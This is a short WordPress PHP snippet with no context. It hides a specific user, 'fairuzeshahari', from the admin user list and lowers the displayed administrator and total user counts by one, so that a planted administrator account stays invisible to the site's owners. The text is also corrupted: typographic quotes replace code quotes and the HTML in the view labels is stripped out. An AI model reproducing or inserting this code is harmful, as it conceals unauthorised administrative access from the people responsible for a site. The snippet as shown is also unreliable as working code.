add_action(‘pre_user_query’,’site_pre_user_query’);
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == ‘fairuzeshahari’) {
} else {
global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
“WHERE 1=1 AND {$wpdb->users}.user_login != ‘fairuzeshahari'”,$user_search->query_where);
}
}
add_filter(“views_users”, “site_list_table_views”);
function site_list_table_views($views) {
$users = count_users();
$admins_num = $users[‘avail_roles’][‘administrator’] – 1;
$all_num = $users[‘total_users’] – 1;
$class_adm = ( strpos($views[‘administrator’], ‘current’) === false ) ? “” : “current”;
$class_all = ( strpos($views[‘all’], ‘current’) === false ) ? “” : “current”;
$views[‘administrator’] = ‘‘ . translate_user_role(‘Administrator’) . ‘ (‘ . $admins_num . ‘)‘;
$views[‘all’] = ‘‘ . __(‘All’) . ‘ (‘ . $all_num . ‘)‘;
return $views;
}